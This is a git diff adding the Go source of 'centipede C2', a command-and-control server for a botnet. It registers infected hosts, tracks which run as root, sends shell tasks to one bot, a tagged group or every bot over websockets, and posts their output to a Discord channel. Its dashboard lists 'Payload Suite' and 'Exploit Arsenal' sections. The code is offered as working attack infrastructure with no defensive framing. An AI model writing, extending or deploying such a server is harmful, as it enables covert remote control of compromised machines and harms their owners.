diff --git a/main.go b/main.go new file mode 100644 index 0000000..140ae9e --- /dev/null +++ b/main.go @@ -0,0 +1,431 @@ +package main + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "flag" + "fmt" + "html/template" + "io" + "log" + "net/http" + "os" + "os/signal" + "sync" + "syscall" + "time" + + "github.com/bwmarrin/discordgo" + "github.com/gorilla/mux" + "github.com/gorilla/websocket" +) + +type Bot struct { + ID string `json:"id"` + Hostname string `json:"hostname"` + IP string `json:"ip"` + OS string `json:"os"` + Arch string `json:"arch"` + Kernel string `json:"kernel"` + FirstSeen time.Time `json:"first_seen"` + LastSeen time.Time `json:"last_seen"` + Layer int `json:"c2_layer"` + Tag string `json:"tag"` + Privilege string `json:"privilege"` + Connected bool `json:"connected"` + Pending int `json:"pending_tasks"` +} + +type Command struct { + ID string `json:"id"` + BotID string `json:"bot_id"` + Action string `json:"action"` + Args string `json:"args"` + Status string `json:"status"` + Result string `json:"result"` + CreatedAt time.Time `json:"created_at"` + Target string `json:"target"` +} + +type C2Server struct { + mu sync.RWMutex + bots map[string]*Bot + commands map[string]*Command + wsClients map[string]*websocket.Conn + upgrader websocket.Upgrader + + discordSession *discordgo.Session + discordChanID string +} + +func NewC2Server() *C2Server { + return &C2Server{ + bots: make(map[string]*Bot), + commands: make(map[string]*Command), + wsClients: make(map[string]*websocket.Conn), + upgrader: websocket.Upgrader{ + CheckOrigin: func(r *http.Request) bool { return true }, + }, + } +} + +func main() { + var ( + addr = flag.String("addr", ":8443", "Listen address") + discordTok = flag.String("discord-token", "", "Discord bot token") + discordChan = flag.String("discord-channel", "", "Discord channel ID") + certFile = flag.String("cert", "", "TLS cert file") + keyFile = flag.String("key", "", "TLS key file") + ) + flag.Parse() + + log.SetFlags(log.LstdFlags | log.Lshortfile) + srv := NewC2Server() + + if *discordTok != "" && *discordChan != "" { + go srv.startDiscord(*discordTok, *discordChan) + } + + r := mux.NewRouter() + api := r.PathPrefix("/api").Subrouter() + api.HandleFunc("/bots", srv.handleBots).Methods("GET") + api.HandleFunc("/bots/{id}", srv.handleBotDetail).Methods("GET") + api.HandleFunc("/bots/{id}/tag", srv.handleTagBot).Methods("POST") + api.HandleFunc("/command", srv.handleSendCommand).Methods("POST") + api.HandleFunc("/commands", srv.handleCommands).Methods("GET") + api.HandleFunc("/stats", srv.handleStats).Methods("GET") + + r.HandleFunc("/ws", srv.handleWebSocket) + r.HandleFunc("/ws/bot", srv.handleBotWS) + r.HandleFunc("/", srv.handleDashboard) + r.PathPrefix("/static/").Handler( + http.StripPrefix("/static/", + http.FileServer(http.Dir("web/static")))) + + httpSrv := &http.Server{ + Addr: *addr, + Handler: r, + } + + go func() { + if *certFile != "" && *keyFile != "" { + log.Printf("[c2d] listening on https://%s", *addr) + log.Fatal(httpSrv.ListenAndServeTLS(*certFile, *keyFile)) + } else { + log.Printf("[c2d] listening on http://%s", *addr) + log.Fatal(httpSrv.ListenAndServe()) + } + }() + + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + <-sigCh +} + +func (s *C2Server) handleDashboard(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "text/html") + tmpl := template.Must(template.New("dashboard").Parse(dashboardHTML)) + tmpl.Execute(w, s.getStats()) +} + +func (s *C2Server) handleBots(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + defer s.mu.RUnlock() + list := make([]*Bot, 0, len(s.bots)) + for _, b := range s.bots { + list = append(list, b) + } + writeJSON(w, list) +} + +func (s *C2Server) handleBotDetail(w http.ResponseWriter, r *http.Request) { + vars := mux.Vars(r) + s.mu.RLock() + bot, ok := s.bots[vars["id"]] + s.mu.RUnlock() + if !ok { + http.Error(w, "not found", http.StatusNotFound) + return + } + writeJSON(w, bot) +} + +func (s *C2Server) handleTagBot(w http.ResponseWriter, r *http.Request) { + vars := mux.Vars(r) + var req struct{ Tag string `json:"tag"` } + json.NewDecoder(r.Body).Decode(&req) + s.mu.Lock() + if bot, ok := s.bots[vars["id"]]; ok { + bot.Tag = req.Tag + } + s.mu.Unlock() + writeJSON(w, map[string]string{"status": "ok"}) +} + +func (s *C2Server) handleSendCommand(w http.ResponseWriter, r *http.Request) { + var req struct { + BotID string `json:"bot_id"` + Tag string `json:"tag"` + Action string `json:"action"` + Args string `json:"args"` + } + json.NewDecoder(r.Body).Decode(&req) + + cmdID := genID() + cmd := &Command{ + ID: cmdID, + BotID: req.BotID, + Action: req.Action, + Args: req.Args, + Status: "pending", + CreatedAt: time.Now(), + } + + s.mu.Lock() + s.commands[cmdID] = cmd + + if req.Tag != "" { + for _, bot := range s.bots { + if bot.Tag == req.Tag { + s.sendToBot(bot.ID, cmd) + } + } + } else if req.BotID == "" { + for _, bot := range s.bots { + s.sendToBot(bot.ID, cmd) + } + } else { + s.sendToBot(req.BotID, cmd) + } + s.mu.Unlock() + + writeJSON(w, cmd) +} + +func (s *C2Server) sendToBot(botID string, cmd *Command) { + s.mu.RLock() + conn, ok := s.wsClients[botID] + s.mu.RUnlock() + if !ok { + return + } + conn.WriteJSON(map[string]interface{}{ + "t": "task", + "id": cmd.ID, + "act": cmd.Action, + "args": cmd.Args, + }) +} + +func (s *C2Server) handleCommands(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + defer s.mu.RUnlock() + list := make([]*Command, 0, len(s.commands)) + for _, c := range s.commands { + list = append(list, c) + } + writeJSON(w, list) +} + +func (s *C2Server) handleStats(w http.ResponseWriter, r *http.Request) { + writeJSON(w, s.getStats()) +} + +func (s *C2Server) getStats() map[string]interface{} { + s.mu.RLock() + defer s.mu.RUnlock() + connected := 0 + root := 0 + for _, b := range s.bots { + if b.Connected { + connected++ + } + if b.Privilege == "root" { + root++ + } + } + return map[string]interface{}{ + "total_bots": len(s.bots), + "connected": connected, + "root_bots": root, + "pending_cmds": len(s.commands), + "version": "0.1.0", + } +} + +func (s *C2Server) handleWebSocket(w http.ResponseWriter, r *http.Request) { + conn, err := s.upgrader.Upgrade(w, r, nil) + if err != nil { + return + } + defer conn.Close() + for { + _, _, err := conn.ReadMessage() + if err != nil { + break + } + } +} + +func (s *C2Server) handleBotWS(w http.ResponseWriter, r *http.Request) { + conn, err := s.upgrader.Upgrade(w, r, nil) + if err != nil { + return + } + + var botID string + for { + var msg map[string]interface{} + if err := conn.ReadJSON(&msg); err != nil { + break + } + + msgType, _ := msg["t"].(string) + botID, _ = msg["bid"].(string) + + switch msgType { + case "register": + hostname, _ := msg["hostname"].(string) + bot := &Bot{ + ID: botID, + Hostname: hostname, + FirstSeen: time.Now(), + LastSeen: time.Now(), + Connected: true, + } + s.mu.Lock() + s.wsClients[botID] = conn + s.bots[botID] = bot + s.mu.Unlock() + + case "result": + taskID, _ := msg["tid"].(string) + ok, _ := msg["ok"].(bool) + output, _ := msg["out"].(string) + s.mu.Lock() + if cmd, exists := s.commands[taskID]; exists { + cmd.Status = "completed" + cmd.Result = output + if !ok { + cmd.Status = "failed" + } + } + s.mu.Unlock() + + if s.discordSession != nil { + content := fmt.Sprintf("```\n[%s] %s\n%s\n```", taskID, botID, output) + s.discordSession.ChannelMessageSend(s.discordChanID, content) + } + + case "ping": + s.mu.Lock() + if bot, ok := s.bots[botID]; ok { + bot.LastSeen = time.Now() + bot.Connected = true + } + s.mu.Unlock() + conn.WriteJSON(map[string]string{"t": "pong"}) + } + } + + s.mu.Lock() + if bot, ok := s.bots[botID]; ok { + bot.Connected = false + } + delete(s.wsClients, botID) + s.mu.Unlock() +} + +func (s *C2Server) startDiscord(token, channelID string) { + sess, err := discordgo.New("Bot " + token) + if err != nil { + log.Printf("[c2d] discord: %v", err) + return + } + s.discordChanID = channelID + + sess.AddHandler(func(s *discordgo.Session, m *discordgo.MessageCreate) { + if m.ChannelID != channelID || m.Author.ID == s.State.User.ID { + return + } + }) + + intents := discordgo.IntentGuildMessages | discordgo.IntentMessageContent + sess.Identify.Intents = intents + if err := sess.Open(); err != nil { + log.Printf("[c2d] discord open: %v", err) + return + } + sess.ChannelMessageSend(channelID, "**centipede C2 online**") + s.discordSession = sess +} + +func writeJSON(w http.ResponseWriter, v interface{}) { + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(v) +} + +func genID() string { + b := make([]byte, 12) + io.ReadFull(rand.Reader, b) + return hex.EncodeToString(b) +} + +const dashboardHTML = ` + + + + + centipede C2 + + + +
+ +
+
+

Dashboard

+
+
Bot Activity
+
Quick Command
+ + + +
+
+
+
+

Bots

+
IDHostnameStatusPrivilegeTagCommand
+
+

Command History

IDActionStatusResult
+

Payload Suite

+

Exploit Arsenal

+
+
+`